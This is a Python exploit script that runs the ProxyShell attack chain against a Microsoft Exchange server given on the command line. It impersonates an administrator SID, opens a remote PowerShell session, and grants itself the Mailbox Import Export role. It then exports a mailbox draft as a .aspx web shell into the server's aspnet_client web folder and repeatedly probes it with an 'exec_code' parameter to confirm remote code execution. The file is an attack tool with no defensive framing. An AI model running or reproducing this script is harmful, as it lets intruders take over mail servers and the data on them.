#!/usr/bin/env python3
# export .aspx, wait 45s untouched, then single probe (avoid locking during write)
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()
host = sys.argv[1]
ps = P.ProxyShell(f'https://{host}', timeout=35)
ps.get_fqdn(); ps.get_legacydn(); ps.get_sid()
ps.sid = ps.sid; ps.set_ews()
ps.sid = ps.admin_sid; ps.get_token()
port = random.randint(20000, 40000); P.start_server(ps, port); time.sleep(1)
try: P.wsman_shell('New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email.split('@')[0], port)
except Exception as e: print("roleassign", e, flush=True)
time.sleep(2)
name = "w%s.aspx" % P.rand_string(4)
unc = "\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\" + name
cmd = ('New-MailboxExportRequest -Mailbox %s -IncludeFolders ("#Drafts#") '
       '-ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s"') % (ps.email, P.subj_, unc)
print("mb", ps.email, "srv ports", port, flush=True)
try:
    o, e = P.wsman_shell(cmd, port)
    for x in o: print("  ", str(x)[:150], flush=True)
except Exception as ex: print("  export exc", ex, flush=True)
url = f"https://{host}/aspnet_client/{name}"
print("waiting 45s (no probing)...", flush=True)
time.sleep(45)
for i in range(8):
    try:
        r = requests.get(url, params={'exec_code': 'Response.Write("PWN"+(1+1));'}, verify=False, timeout=20)
        print(i, r.status_code, len(r.content), r.content[:90], flush=True)
        if r.status_code == 200 and b'PWN2' in r.content:
            print("  *** SHELL OK:", url, flush=True); break
    except Exception as ex:
        print(i, "exc", ex, flush=True)
    time.sleep(6)